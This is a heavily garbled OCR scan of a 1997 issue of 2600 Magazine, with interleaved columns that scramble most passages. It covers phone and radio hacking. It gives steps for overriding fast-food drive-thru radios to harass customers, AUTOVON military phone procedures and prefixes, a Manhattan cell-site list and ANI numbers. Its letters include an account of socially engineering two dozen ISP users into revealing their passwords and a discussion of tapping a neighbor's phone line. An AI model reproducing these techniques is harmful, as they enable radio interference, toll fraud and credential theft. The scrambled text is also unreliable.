2600 Magazine Page 21	your signal is much stronger. Go capture effect! From this point, feel free to add 20 burgers to the next order taking place, or curse at the customer. Feel free to use a crossband feature to link a McDonald's drive thru to a Burger King clerk. The fun here is endless. <i>Standard disclaimers apply. Don't be</i> stupid and you won't get caught.	can change the PL one at a time, you can go through all the possible PL's until you hear a transmission. To do this, select tone-select (or equivalent). A PL tone should appear. Spin your dial to select dif- ferent PL's. Do this while they are trans- mitting of course. As soon as a transmission of theirs breaks the squelch, you'll hear the voice. Bingo, you have the proper PL. Adjust your transmit shift to the proper frequency. Key up. You are now broadcasting loud and clear out the PA speaker. Your voice will definitely over- ride the clerk's because of the fact that	low frequency tones must be received by the repeater at the same time as the com- munication. If the repeater does <i>not</i> re- ceive the proper PL, it in essence ignores your communication by not repeating the signal to the output side of the repeater. If you do transmit the proper PL with your transmission, it will break the repeater's squelch and it will pass on your voice to the output side of repeater. There are a to- tal of 32 PL tones ranging from 67.0 hz to 250.3 hz. As far as fast food is concerned, the PL tones vary from location to location. Since there is no standard, we need a method to find it. Sometime at dinner time, stop by your local joint, and tune to either the output or input side of the re- peater. Once you've tuned there, set your CTCSS squelch to ON. We're telling the radio to <i>only</i> receive transmissions with the PL you've told it to receive. Since you

Page 22 2600 Magazine Summer 1997		ion in this article You can use this wish. That is your sility for whatever the knowledge you aterial. UTOVON Sys- ture certain proce- tre certain proce-	wise, it works much like the normal tele- phone systems you use every day. The (1) Lift receiver. innetional switching technology, however, inctional switching technology, however, is very similar to that of the outdated tele- phone networks of years long past. I rec. (3) When busy signal is received, press and is very similar to that of the outdated tele- release the switchhook. is very similar to that of the outdated tele- phone networks of years long past. I rec. (4) When dial tone is received, dial "161". ommend that you read ShAdOwRuh/DE's ommend that you read ShAdOwRuh/DE's innoly known as AUTOVON" parts one thru three for more information, including thrus three for more information, including thrus three for more information, including can be found at ftp://ftp.fc.net/pub/phrask (1) Lift receiver. (3) Dial "162". TOVON using a silver box, and a few tricks to do once you're inside. That article (3) Dial "162". (3) Dial "162". TOVON using a silver box, and a few tricks to do once you're inside. That article (4) Listen for Positive Acknowledgement (5) Dial "162". (3) Dial "162". Court for flowing: 1. "Area Codes" (4) Listen for Positive Acknowledgement totk to be an exclose the provide to an- 11. "Area Codes" (7) Replace receiver. 11. Installation Prefixes (7) Call Transfer	
Summer 1997 2600 M	An AUTOVON telephone number is in An AUTOVON telephone number is in the same format as a regular U.S. number [(xxx) xxx-xxxx]. The first part, which is the area code in normal numbers, identifies the theater to which you are calling. The AUTOVON codes are as follows:	 (No mooning or ourgoing caus) (1) Lift receiver (2) Listen for dial tone. (3) Dial "143". (4) Replace receiver. (4) Replace receiver. (2) Lift receiver. (3) Dial "142". (4) Replace receiver. (1) Lift receiver. (3) Dial "142". (4) Replace receiver. 	 (Forward incoming calls to another number) Activate: (1) Lift receiver. (2) Listen for continuous dial tone. (3) Dial "131" and 2nd party number. (4) Listen for wavering continuous tone (positive acknowledgment). (5) Replace receiver. (6) Listen for intermittent tone. (7) Listen for wavering continuous tone. (8) Dial "132". (9) Dial "132". (9) Dial "132". (9) Listen for wavering continuous tone. 	 Depress switchhook. Listen for continuous dial tone. Dial "12". Ontal training When conversation ends, dial "114". Whithin 3 seconds depress switchhook. Listen for continuous dial tone. Dial "12". Dial "12". Replace receiver - Lift receiver. Dial "114". Call Forwarding
2600 Magazine Page 23	Canada (312) Air Command Winnipeg 826 Air Defense Headquarters, Ontario 628 Calgary CFB 620 Miliary Area Pacific Headquarters, Vancou- ver 252	Los Angeles AFB, CA 833 U.S. Air Force Academy, CO 333 Wountain Home AFB, ID 728 Andrews AFB, MD 858 Hanscom AFB, MA 478 Nellis AFB, NV 682 Tinker AFB, OK 682 Acchord AFB, IX 473 McChord AFB, IX 473 Hill AFB, UT 777 The Pentagon, DC 227	CONUS (312) F. McClellan, AL 865 Xuma Proving Ground, AZ 879 F. Lrwin, CA 470 F. Carson, CO 691 F. Carson, CO 691 F. McNair, DC 227 F. Meade, MD 923 U.S. Milliary Academy, NY 688 F. Sam Houston, TX 471 Port Hueneme Naval Construction Batal- tion Ctr, CA 551 Naval Security Station, DC 288 Key West Naval Air Station, FL 483 Great Lakes Naval Training Center, IL 792 U.S. Naval Academy, MD 281 McChalmer AE CA 633	CONUS (Continental U.S.) (312) Canada (312) Europe (314) Asia/Pacific (315) Alaska (317) Caribbean (313) Persian Gulf (316)/(318) III. Installation Prefixes Each DOD installation has its own three-digit prefix (like cities on civilian sys- tems). Some larger military bases or instal- lations may have more than one prefix. It would take way too much space to list all of them, but here's an abbreviated list:

2600	6	state agenc	LAVS	are a few of those bits:	more interesting, useful, and phun. Here	the AUTOVON, there are some bits of	If you are going to explore the world of	IV. Other Phunee Stuff	Riyadh (316) 435	Dharan (318) 828	Persian Gulf		Air National Guara, san Juan, Fuerto Kico 740	Ft. Buchanan, Puerto Rico 740	Howard AFB, Panama 284	Caribbean (313)	Adux Muvui Air Tuciniy 072	rt. Kicnurason 304 Adak Naval Air Facility 603	Alaska (317)	1	Hickam AFB, HI 471	Pearl Harbor Naval Complex, HI 471	Anderson AFB. Guam 366	Kunsan AB Korea 787	Misawa AB, Japan 220 Kadena 4R Japan 630	iokota AB, Japan 220	Camp Humphreys, Korea /33	Camp Red Cloud, Korea 732	Asia/Pacific (315)	Incirlik, Turkey 676	Aviano, Italy 632	Mildenhall, UK 238	Romstein Germany 480	Rota, Spain 727	Naples, Italy 625	Vicenza, Italy 634	Stuttgart, Germany 420 Mannheim Germany 380	Europe (314)
2600 Magazine Summer 1997	516-474-2677	Federal and state agencies fight over who gets to tap this line!			ourney inis means that the trunk you were using b. Here was seized by another phone by way of pri-			Sometimes AUTOVON calls are cut off.	236-0001 and a recording will give you	place is Fort Bragg, N.C. You dial (312)	number (or toll-free number). One such	that will allow you to dial out to a local	A		recommend operators at Air Force bases.	the installation policy on such matters. I	from a switch operator. It also depends on	times takes social engineering to get a favor	your call to a local number or patch you	can do just about anything, such as transfer		71 tion operator is "xxx-1110" ("xxx" being	The common number for the installa-	rovorv priorics can receive worldwide	TOVON phones can receive worldwide	ie lines are much more	cers, and technical control facility lines.	mander, other high-ranking officials/offi-	are installation operator, installation com-	TOVON phones within Europe, but not be-	Britain, Germany, Italy, etc.) can call AU-	phones in the European theater (Great	theater canability For instance most	Not all phone lines on the AUTOVON	rarely, if ever, be the same.	wherever you are calling, but the prefix will	tion is not the same as the civilian prefix. The last part of the number is the same for	The AUTOVON prefix for an installa-
er 1997	min i THAVE & 29TH ST NY30 S1 S 8TH AVE & 29TH ST NY30 S31 S 9TH AVE & 29TH ST NY30 S31 S 9TH AVE & 29TH ST NY30 S31 7 JANE & HUDSON NY30 S34 7 JANE & HUDSON NY30	519 5 2ND AVE & 25TH ST 513 5 3RD AVE & 30TH ST 577 6 MADISON AVE & 28TH ST 545 6 6TH AVE & 27TH ST	527 5 10TH AVE & 18TH ST NYOI 535 5 7TH AVE & 23RD ST NYOI 525 5 PARK AVE & 23RD ST NYOI	547 7 6TH AVE & 16TH ST NT-01 ??? ? 8TH AVE & 15TH ST NT-01 513 7 14TH ST & WASHINGTON NT-01	S17 2 3RD AVE & I8TH ST NY-01 S23 7 STH AVE & I9TH ST NY-01	531 7 STHAVE & IOTH ST NY-01	515 7 529 7			S37 0	575 7 BLEECKER & GROVE NT-01 577 7 6TH AVE & WASHINGTON PL NY-01	579 0	5/3 0 AVED & 91431 533 7 BROADWAY & 4TH ST NY-01		533 5 9TH AVE & JOTH ST NYJOI	547 2 CLINTON & DELANCEY 581 2 FOR DRIVE & CORLEARS	519 2 CUNTON & DELANCET N1701- 583 2 CUNTON & DELANCEY N1701-	2 CANAL & CHRYSTIE NYOI	SIS 2 CANAL & CHRYSTIE NYO	S45 7 WEST SIDE & CHRISTOPHER NY-01	10012 SI7 7 WEST SIDE & CHRISTOPHER NYGI JOIA	10011 549 2 FDR DRIVE & FRANKFORT NYGL003	Manhattan	CELLID FREQ BCC SITE NAME SITE ID		actual fragmency to this number)	number (we haven't vet correlated the	(0-7), and the three digit frequency	nies), the Broadcast Control Channel	to CHI codes used by phone compa-		provider. I his is a list of all current	Omnipoint is New Tork's first GSM		by Syringe		olimai daimai (O)	
ine F	1048 27 XFLMANION N144 1050 56 SALES STHARE & 21RD ST N144 1050 56 SALES STHARE & 21RD ST N144 1050 57 120 Active & 447148 N144 1050 56 54.253 45.880A0WY N144 1050 56 54.253 45.880A0WY N144 1050 57 7 N24.253 45.880A0WY N144 1050 57 7 N24.253 45.880A0WY N144	299 2 SHERATON 2983 2 SHERATON 2015 2 SHERATON 2985 2 SHERATON	Image: Mark Stress Image:		549 7 FDR DRIVE & 30TH ST 519 1 WEST SIDE HWY & S7TH ST	561 7 FDR DRIVE & 30TH ST 539 7 FDR DRIVE & 30TH ST	529 6 ISTAVE & 52ND ST ??? ? ISTAVE & 42ND ST	527 6 2ND AVE & 44TH ST 551 6 2ND AVE & 36TH ST		227 A 10D AVE & 3AU AT ST	535 6 LEXINGTON AVE & 35TH ST	217 / LEXINGTON AVE & 49TH ST	533 6 PARK AVE & 37TH ST	573 S PARK AVE & S2ND ST		111 A STHAVE & STHONE ST	222 STHAVE & SOLUTION	III STHAVE & SOTH ST		III IIII IIIII IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII	221 ATH AVE & 37TH ST	535 6 TIMES SQUARE	222 2 TIMES SQUARE	577 I 7TH AVE & SIST ST	273 6 8TH AVE & 33RD ST 277 7TH AVE & 57TH ST	529 4 BTH AVE & 40TH ST	E & S3RD ST	III I STHAVE & ARD ST	519 6 DYER AVE & 41ST ST 541 1 9TH AVE & 56TH ST 513 6 9TH AVE & 49TH ST	10560 525 6 10TH AVE & 46TH ST 10570 523 6 10TH AVE & 38TH ST	10540 ???????? 11TH AVE & 34TH ST	10520 117 1	539 7 BLEECKER & SULUVAN	535 5 IOTH AVE & 3IST ST 575 6 BROADWAY & 24TH ST	529 5 12TH AVE & 22ND ST) INEW York (Lity	

Page 26	15380 m	15360 III I	15340 563 2	15323 III I	15321 222 2	15300	15292 527	15290 222 2	15260 m i	15250 523 1	15230 777 7	15223 579 7	15221 525 7	15202 ???????????????????????????????????	15201 ??? ?	15192 557 2 15193 543 2	15191 515 2	ISI80 535 2	15172 223 2	15171 525 2	15160 122 1	15142 527 2	15130 533 2	15122 531 2	15110 577 2		15090 223 2	15072 529	15060 222 2	15050 543 1	15030 111 2	15020 277 1	11700 537 0	11690 586 2	11670B 227 0	11660 523 0	11640 ??? ?	11630 111 1	11610 543 0	11590 513 0	11580 553 0	11560	11540 777 7	11530 529 0	11510 273 0	11500 777 7	11480 531 0	11470 533 0	1450	11430 583 0		
	IST AVE & E 81ST ST IST AVE & E 81ST ST IST AVE & E 81ST ST STH AVE & E 82ND ST	JRD AVE & E 76TH ST MADISON AVE & E 78TH ST	STH AVE & E 74TH ST PARK AVE & E 75TH ST	FDR DRIVE & E 79TH ST FDR DRIVE & E 79TH ST	FDR DRIVE & E 79TH ST	MADISON AVE & E 70TH ST	IST AVE & E 7IST ST	3RD AVE & E 67TH ST	STH AVE & E 66TH ST PARK AVE & E 66TH ST	2ND AVE & E 65TH ST	MADISON AVE & E 62ND ST	LENOX AVE & W 1351H ST	LENOX AVE & W 135TH ST	RIVERSIDE DR & W 116TH ST 3RD AVE & E 60TH ST	RIVERSIDE DR & W 116TH ST	CENTRAL PARK W & W 106TH ST	CENTRAL PARK W & W 106TH ST	BROADWAY & W 107TH ST	AMSTERDAM AVE & W 97TH ST	AMSTERDAM AVE & W 97TH ST	COLUMBUS AVE & W 88TH ST CENTRAL PARK W & W 93RD ST	RIVERSIDE DR & W 96TH ST	CENTRAL PARK W & W 85TH ST	BROADWAY & W 84TH ST	BROADWAY & W 84TH ST	AMSTERDAM AVE & W 76TH ST	COLUMBUSAVE & W 72ND ST CENTRAL PARK W & W77TH ST	RIVERSIDE DR & W 77TH ST	CENTRAL PARK W & W 69TH ST RIVERSIDE DR & W 77TH ST	AMSTERDAM AVE & W 67TH ST	COLUMBLIS AVE & W 64TH ST	CENTRAL PARK W & W 61ST ST	161 MAIDEN	SALESI - 307 MADISON AVE 74 BROAD	307 MADISON AVE	KENMARE & ELIZABETH	BROADWAY & HOUSTON	BROADWAY & DUANE	IST AVE & IST ST	6TH AVE & CHARLTON BROADWAY & SPRING	VARIK & ERICSON	READE & LAFAYETTE	W BROADWAY & HUDSON	WEST & VESEY	BROADWAY & WALL	CHURCH & LIBERTY	VEST & BATTERY P	EXCHANGE & WILLIAM	PEARL & FULTON	BROAD & WATER		
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2600 Magazine Page 31	Summer 1997	Summer 1997	Page 30 2600 Magazine
connection to cut bubse connection to cut bubse It only worked once for us. It's getting so hard to abuse things.	r 2600: recently found myself in a disturbing situation. I was at a shopping mall needed to make a phone call. I went to a pay phone, inserted the proper	Dear 2600: I recently found myself in a dist and needed to make a phone call. I	Dear 300: I have a small problem. Actually the problem is quite large. It's the "hack- ing community" of today. I've been lingering around the scene for quite some-
No Name Dear 2600: Here is a Toll free ANI number: 1-800-611-8791. It will read back your number but only wice from the same number. The third try will acford the	seipea creaie tras paranoia and seumed of everyone. There are sed. But somehow, this kind of	suspicious society where the worst is always a suspicious society where the worst is always a dangers to chidren and they should be address reactionary thinking is far scarier for all of us.	begin to get into the software approach, where 800 numbers are programmed to route as 900s or a collect or third number call shows up as directly dialed. It's anarchy and anyone claiming otherwise is in serious denial.
Joner 2007 Here are four more modern numbers: 800-546-4484, 800-555-6369, 800- 472-4638, and 800-472-2663.		ment to the detriment to the rest of society.	titef[Then there are those cordless phones that have an open guest policy (the phone company will blame this on you if it's true however - note how quickly they be willing to believe this is a possibility). And his doesn't even
		sessing legal pornography are enough charges that "protect" the children bility to teach their children not to to children <i>logic</i> instead of trying to a	ner a vision of the second second a phone company say it's impossible. There are so many places where same one can tap into your phone line and make calls - the state of your house or the basement of your apartment, the junction bases on the pole, the central office
Dear 2600: If you care, the ANI number for the Willow Grove. PA area is (215) 958.		just speaking to a minor. Think abo enough to get you arrested and have called "porn" they've found on you	explain to me what you think really happened here? Was it just a billing error? Thanks for looking out for us. There are to mean under this and the mean that is the former of the Kurt
Dear 2609: I found the ANI for PacBell: 211-2244.		they have <i>said</i> . These are two peop lawyers that would eat the governm entrapment but two regular peop	on a 1-300 call, and 1 am also loid that there have been a rash of people getting hit with 900 number charges because dial-a-porn junktes have figured out how to tap into other peoples lines using some kind of transmitter. Can you please
Numbers		popular concepts of what is right an These two people have been a	So I ask you, how else could someone have charged these calls to my phone? I am told that the phone company does not allow callers to forward the charges
whenever you wish. If you expect trouble from this, make sure there are wit- nesses and that everything you do is above the board, regardless of what they may do. This kind of thing happens far more often than most people think.		right, just <i>talking</i> to 13 year old gi know exactly where they were going you may think this is "women" at 6	phone to make the calls, or tapped the box in my basement, but I wasn't buy- ing it. I was home that night and nobody was using my phone, in fact I was probably on the Internet at the time.
mall they're "protecting" sued for a very large sum. You have every right to use your device on these phones and we encourage you and others to do this		Dear 2600:	same night. I immediately knew that this was bullshit, but the phone company customer service may any training convince me that company customer service and the context of the service service and the context of the service
provective1, rive; can pursue it out to do so would involve their having banwl- edge of some sort of a crime having been committed. In this case, they had nothing. What's more, what they did to you could easily get them fired and the	the antics	careful not to fall into the same trap and judgers, on the meased on of a few. IRC can actually teach you valuable lessons in that arena.	ripped off by a loophole in the system. Case in point: I just got my phone bill today and found that AT&T had tacked on an extra \$203 for multiple calls to the same 1 dot number to the same 1 dot of the same 1
X-Ion Noize You absolutely do not have to show these idiots anything that's password	9	them, just as you have to figure out	Dear 2600: As a consumer I read 2600 because I like to know the risks of being
mall agant?" What I really want to know is, was it actually a violation of my rights asking me to enter the password? Doing so would give them access to all of my personal information. Asny help is much appreciated.	net channel networn our snoue were dry one entity. I whether the chan- nel takes is linked to the community that is formed within it. You cannot change himgs overnight. There will always be people who judge others based on accounting a source in the interval of the people who judge others based	nel takes is linked to the commu change things overnight. There will on generalizion and your meta-will	nation is comprised of smaller sections where democratic ideals are more cos- sarily held in high esteem - such as your school, your workplace, or fennessee.
users users reastrong users are severe us and users it was incorrect to have apprehended me in the first place. They old me to leave, On my way out, one of the security guards yelled to me, "Don't let us catch you with that thing in our the security for the	We again have to point out that we don't control what people do in the	We again have to point out th	We don't believe testing a security flaw is something that people should get in trouble for. But rules wary depending upon where you are and who your en- emies are. In theory we live in a fair-minded democravy with a convolve our emies are.
ceeded to escort me to the security office like a common criminal. When the police arrived, a videotage was reviewed showing me approaching the phone, inserting money, then using my Magic Link. When the officer saw this, he told then there was position that he mail do and a the time theorem.	I read 2600 as frequently as you guys release them, but I merer understand many of the articles. I just want help and I want to know why everyone has to be a jerk about information. Thanks for your time and keen in the great work.	I read 2600 as frequently as you many of the articles. I just want he be a jerk about information. Thank	time you try this because I don't know all of the details. Can anyone tell me if using phf in any way is illegal? The Hemroid
however, it was password protected. They told me to entry our my snaget una, has disting that to do so is in violation of my right to privacy. Then they pro-	beginner because I usually have no c]be what people are talking about during technical discussions. I want to learn, slut whenever I try, I get laughed at. Do you have any supresticing? Any nlarevisities no and/o? Benefe to talk no?	beginner because I usually have no technical discussions. I want to lear Do you have any suggestions?	newer version looks to me like it tells the server when you tried to use their phf and your email address. There might be a few more things that it writes down in the log, but then again this is only a guess. Remember this the next
and hung if up. They told me they were detaining me until the police arrived. At this point my head was spinning, when I asked them for what reason, they told me it was for illegal use of the pay phone. I could not understand what they meant. When I asked, they stated that I used an illegal electronic device to steal telephone service. Then hey mynoeded to turn on w. Morio, I act.	Insten hoping to pick up useful information by controls. The Dissibility stin and hoping to pick up useful information by contosis. My question is why are people so Apright? I though sharing information and teaching others was a good thing. It still may be, but I rarely ever seet. It also have yet to come across something for the beginners. I still consider myself a have yet to come across something for the beginners.	ing optimized to the operation of the optimized to be a set of the opti	other day, and I just randomly picked a address, then I was taken to a screen that stud some smart-ass remark like. "Smile, you're on candid cameat." Why does everyone who writes an article on phf forget to mention that there is new version of phf which isn't always so blindly installed on the server. The
coinage, then I used my Sony Magic Link as a phone dialer and proceeded with my call. Minutes later, I was approached by two mall security guards. One grabbed my Magic Link and the other grabbed the phone out of my hand		time now. I don't know very muc with. One thing I have noticed is t help. I've especially noticed that in ing ostracized for life hereave that	Injustices Dear 2600: What the hell is this world coming to? I tried a bhf exploit in Netscane the
てや	Letters	しくいため	~ ~

Page 32 the numbers 7113235212 and starts with a different number. I got a range between 1 and 225. Shadow-dancer also mentioned 1-800-649-9098 which did Or perhaps he just ran out of bullshit to spew. It's possible he knew something but we've learned to take anything told us by a "phone rep" with a pilare not being used, and they are able to activate them at a moments notice for short term "seasonal" Dear 2600: I talked to a phone rep and he told me that those "lottery" phone numbers that spit back semicompanies' servers. The number changes every time you call it; it is entered into a portable translator, which provides a verification number, and the em-This may be common knowledge, but the phone numbers that return spoken digits (like 800-654-7664) seem to be part of the RAS method to allow wonderful number for testing phone lines and red boxes. I believe it was originally developed for the testing of payphones, but it serves other nice pur-poses. Experimentation with it leads to many differ-ent uses. the name of sistifs speaks of dialing his/her mother's office, and instead getting a test number. This person obviously misdialed 340 instead of 349. This num-ber works throughout the Chicagoland area, and is a the same thing, only it repeated a different number. Dear 2600: tell me about how their locations were coded (as area codes). Then he got *real* suspicious and customers like CD's at Christmas etc. He started to about a phone lar of salt. phone random numbers are really idle 800 numbers that privileged employees (more) secure access to their Dear 2600: Dear 2600. Here is a list of some ringback numbers for Ger-many: 0117755, 117752, and 0117752. You enter the ringback number plus your phone number. This works in all parts of the country. Dear 2600: possible to activate them from a regular touch tone ployee is given access. wouldn't say anymore, leading me to think that it's I found a new In the Fall 1996 issue Shadowdancer wrote In Volume Thirteen, Number Four, a hacker by number: 1-800-649-9097. It repeats one! 1-800-688-9590 reads the Mindkiller No Name 2600 Magazine Legba Saab in this issue? I noticed it turned up in a few articles and in the Payphones of the Planet section. Is you away. What do you think is going to happen when your neighbor gets back from Myanmar and notices all these phone calls on his bill, suppos-edly made when he was on vacation? The telco comes to investigate and finds a trail of bread so that they don't end up in jail. Running a phone line to your house from your neighbor's SNI, as FreqMan suggests doing in Fun Thing #2, is just scriber network interfaces I had a comment to make. FreqMan says that "if we didn't use our brains, we would all end up like our neighbors." Well, I seriously hope that people use their brains (www.2600.com) using RealAudio (available from www.realaudio.com). They're also available on least not yet. But there are 2600 people involved in a radio show called Off The Hook on WBAI 995 FM in New York. It airs every Tuesday night something? Myanmar suddenly the cameo appearances Myanmar has been making crumbs leading right to your house. Not a good stupid and asking for the feds to come and take before attempting some of FreqMan's Fun Things Dear 2600: at 8 pm. For those of you not in the area, you can listen to past editions on our web site entertaining. Do you have a radio station or at least just your own show? If all this is true can I get it down where I live, I have a question for you people. I was informed by one of my friends of a radio show that you have for 2600. He said it was called WBAI, is this true? Considering that not one of those numbers still does what you describe, it's a fair bet that the weird numbers 7113003584. I think there may be more of them so keep searching. I am eager to find out what these numbers are for. If you know *please* tell us. idea. On a second unrelated note, what's with all Commentary CD-ROM through the magazine. right near Philadelphia? I love your magazine, so I Dear 2600: Off The Hook mode is only a temporary condition. would imagine that the radio show would be just as No, but it's so close to Bhutan. We don't have a radio station of our own, After reading Frequency Man's article on sub some happening Summer 1997 **Ted Merriman** place or Brendon ĭ 2

should mail it. If you ask them to call you back, the only question to be asked should be "at home, or at work?" They shouldn't allow you to specify was originally sent. If your login and password info (along with phone numbers, server names, and all hat good suff) was faxed to you when you created your account, they should fax the pass-word to the same number. If it was mailed, they choose a new password at the new ISP, too. Just picked up your Winter 96/07 issue at Bor-ders and was flipping through the "Letters" column when I noticed the letter regarding ISP password se-curity and "secret words" (mother's maiden name, people. The way of life here in lowa is pretty simple, especially in the rural areas. The neighboring town just got local access to the Internet about six months Summer 1997 the number. through which the initial connection information ISP to send the password by the same method pnone etc). After reading the letter, I actually expected ple from leaving. my life. Dumb-ass yokels! the information I needed. puter tech from their ISP. I said that I had lost the password file and needed to create a new list by callday I decided to do a little social engineering to get a few more accounts. I proceeded to call many of the ago. I was playing around with an account I had got-ten by shoulder surfing at the Internet provider's gotten it. Anyone whose ISP asks them for a "secret word" should immediately perform the following some reason it didn't, so I will. your follow-up comment to offer this advice, but for Dear 2600: twenty-five users were more than happy to give me name/password from them again. Twenty-five out of ing all of my customers and getting their userlogged onto the system at that moment. Later on that computer store and I got a list of all the people simple test users of the system, telling them that I was a com-Dear 2600: Social Engineering 5. If they do, go somewhere else. Quickly. And 3. Give them the "secret word" if they ask for it. 2. Ask them for your password. Say you've for-The proper procedure in this case is for the 4. See if they give you the password on the Just one of the ways these small towns keep peo-. Call your ISP think I shall stay in this small town the rest of live in a community of approximately ISP asks them 2600 Magazine 5000 IFP why we're defending him. At least part of the reason is so that people like you won't have to worry about Just because computers weren't involved does-n't make this irrelevant to our format. Much like getting prosecuted for expressing opinions promote hacking crimes, just exploration. By de-fending Kevin don't you think you are giving a bad name for your magazine? The feds will see this and past articles on defeating lie detector tests, this arti-cle approaches a scenario where one is at a comnot going to fly off the handle and tell you guys that you suck, because you don't. I believe that you you were trying to make a point, which you did, and the latest issue confirmed my guesses. I am thing new. I was happy to see your responses to the article on "How to Steal Things." I assumed that cover to cover. There is one thing however, that I would like to comment on. I am not intending to If you have an experience different from this and yet you still feel secure, you're deluding yourself. There are certainly ways to compromise then go after your magazine and its members next Dear 2600: **Defaming Our Good Name** plete disadvantage and seeks to turn the tables Engineer" perhaps? are doing a great job, but, wonder why you in-cluded this article. Because it has the term "Social lack of worthy articles for your publication? I'm there, but is it related to your format? Is there a make a commitment? I'm not going to call it trash, because I'm sure that it will help someone out reality, is this not just a case of someone unable to how to socially engineer your way out of boot camp. How is this related to the 2600 format? In all however a bit puzzled on the article by InVerse on change to pick it up. I enjoy reading your maga-zine, and look forward to reading each new issue a password even if these precautions are taken (anyone who can't think of a few hasn't bought offend. With each new issue, I usually learn somethe shelves at Barnes, and as usual, spent Dear 2600: intolerable nience. sonable compromise between security and conveenough back issues), but it is nevertheless a reagreg If you read the article you should understand thought 2600 didn't affiliate itself and didn't was happy to see the latest issue of 2600 Anything less should be considered PrivacyFreak in MI Page 33 . Ву KpTone the

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 night meetings at their favorite watering biole, and being of the commutation of the commutatio	n chatting, again. About an hour later the			mit! If you ever wanted to see a	We all became a u	' want us to act that way. When we	criminals ana
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 night meetings at their favorite watering hole, and how you could also in the <i>TAP</i> office and holp out with the publishing of the paper. I wanted to <i>be at</i> instead of <i>read about</i> the meetings, but with the publishing of the paper. I wanted to <i>be at</i> insecting to <i>be at</i> an at some call us criminal some calls some call us herees, but watereer you call us there is no denying that because of us computer systems of <i>TAP</i> thought that it would never be. Now <i>You</i> and there is no denying that because of us computer systems of <i>TAP</i> thought that it would never be. Now <i>You</i> at the watchers of Big form the stories I had heard about New York, I didn't know if I was going or make it back alive, but being the standing solen or are digita and was pased by a specifing solen the retring durit start unit S 00 pm I decided to since the meeting when I stopped to a red digit and was pased by a specifing solen or are digits and was pased by a specifing solen the retring durit start unit S 00 pm I decided to sinteresting day when I stopped to a red digit and was pased by a specifing solen the meeting water and about four police cars. The bus pulled into the meeting solen or as the spulled on some of the suff. I sough that is solen of raise that is way to be easiled to sinteresting and way when I stopped to a red digit and was pased by a specifing solen the meeting solen or as the price and about four police cars. The bus pulled into the meeting solen or as the price and law a law the origit start with solen the suff. I sough that is start with solen the suff. I sough that is solen or the suff. I sough the solen the suff. I sough that is the price were solen and solen or as the price and law to be easile to conduct the meeting solen or as the price were solen that is a solen or as the price were solen at a sough or dires reference for m. Since I was to only black person there, I in the origin was to be left. The meeting difficult is an unit of the run the meeting solen and lower there. I was the only black person t	bey. He and the other guards left moments	-	please send me mail on Th	v, or for who I am inside. All of us	Carry around our li	nust continue. They want us to be dri-	actly why we
 night meetings at their favorite watering, hole, and how you could stop in the <i>TAP</i> office and holp out interacting, but with the publishing of th	aid the mall was private property and we had		only started to pick up in Ma	at maybe people wouldn't accept	me for what I knew	of hackers are around. Which is ex-	when a group
 night meetings at their favorite watering, hole, and how you could stop in the <i>TLP</i> office and holp out with the publishing of the paper. I wanted to <i>be at</i> instead of <i>read about</i> the meetings, but with the publishing of the paper. I wanted to <i>be at</i> and the publishing of the paper. I wanted to <i>be at</i> and <i>bout</i> the meeting, but with the publishing of the station, I had now the bus pulled out of the station, I had now the bus pulled out of the station, I had now the bus pulled out of the station, I had now the bus pulled out of the station, I had now the bus pulled out of the station, I had now the bus pulled out of the station, I had now the bus pulled out of the station, I had now the bus pulled into the port Authory station about 200 pm and since the meeting ducht's static unal 5.00 pm I decided to sightsee. As I walked the street le meeting ducht's stati unal 5.00 pm I decided to sightsee. As I walked the street le meeting ducht's tati unal 5.00 pm I decided to sightsee. As I walked the street le meeting ducht's tati unal 5.00 pm I decided to sightsee. As I walked the street le meeting ducht's tati unal 5.00 pm I decided to sightsee. As I walked the street le meeting ducht's tati unal 5.00 pm I decided to sightsee. As I walked the street le meeting ducht de our seen in my utaily made meeting static and sout for police cars. The bus pulled into the price and take a two the old seam of raise the price and take in the two the old seam of raise the price and take in the outhow is a to all price to meeting and joined the group thak to sale learning to 2600 hereating in the food out? The outhy explanation that I came think of is that you came during adjust of 90 curve in the bened to some the signific tame to something the poople whole incertain the signific tame to something the price and take to some the signific tame to something the price and the group the incertain the spone tame to something the proce the meeting ducht take to the right place at I. The the something the proce the meeting a	tell any one of our "kind of neonle" the same		like what you described. Act	as the only black person there, I	had the patient we	s of all sorts have a tendency to name	Authoritie
 night meetings at their favorite watering hole, and holp out with the publishing of the parallal out of the station. I had no there is no denying that because of us computer systems of TAP thought that it would never be. Now 2000 gave me a chance. When the bus publied out of the station. I had no there is no denying that because of us computer systems of TAP thought that it would never be. Now 2000 gave me a chance. Ware the bus publied out of the station. I had no the store is no denying that because of us computer systems of TAP thought that it would never be. Now 2000 gave me a chance. Ware the bus publied out of the station. I had no the store is no denying that because of us computer systems of that it would never be. Now 1000 gave me a chance. Ware the bus publied out of the station. I had no the store is no denying that because of us computer systems and sourt for was prevent that it was publied into the meeting diver station about 2000 paral at here is no denying that because of us appeding state in the Spring station about 2000 parallel into the meeting station about 2000 parallel into the meeting station about 2000 parallel into the meeting is a case in the suffi long. The suffi long that here is and long the suffi long that here is a deal on some of the suffit long. At a you sure that is an use of the first port is may if a case to chare in the suffit large of the meeting state is an origin a case the and aloued the meeting state is an interesting and jone di the suffit here is a deal on some of the suffit long. At a you sure at the suffit is an unit 300 for large the and is a diver the meeting state is an use of its long of the menth, spin to spin by the lockers in the down who the state is an it is an use of the meeting state is an origin the suffit is an unit 300 mill be contered widespead BSS publicity camping. Are you sure at the suffit here hold with the suffit here on and is a diver the inde at it an its oud or the meeting state	pment and boxes from the table tons. He told		go personally and they wou	t it was a total learning experience	I have to admit that	Anonymous NI	1011
 night meetings at their favorie watering, hole, and how you could stop in the <i>TAP</i> office and holp out instead of <i>read about</i> the meetings, but with the <i>2000 gave me a chance</i>. when the bus pulled out of the station, 1 had not inserver you call us computer system about its meeting, but with the stories 1 when the bus pulled out of the station, 1 had not its what was insore form. I knew noom in New Yok, 1 should have known if I was the watchers of Big form are it back alive, but being the statiant is computer enthusiast that I was. I went anyway. I got or make it back alive, but being the stating stole or not out carch in the stories in on the stories in one interesting day when I stopped for a red light and was passed by a specific store in my life. I went into a couple of electronic stores that ach out four police cars. The bus pulled into the Port Authory station about 2:00 pm al decided to sightee. As I walked the strees I met watchers in the spinit remains the price and about four police cars. The bus pulled into the port stature 2:00 pm I decided to sightee. As I walked the strees in the spinit stature the meeting dark the strees in the spinit stature is the spinit hough. If all were then the spinit stature the spinit hough. If all were the meeting for any taked around looking lost until I came alit. The Eastern Hills Mall is the work of the stature is I in across the tables fill of 2000 whon statures I. In the spinit I came alit. The Eastern Hills 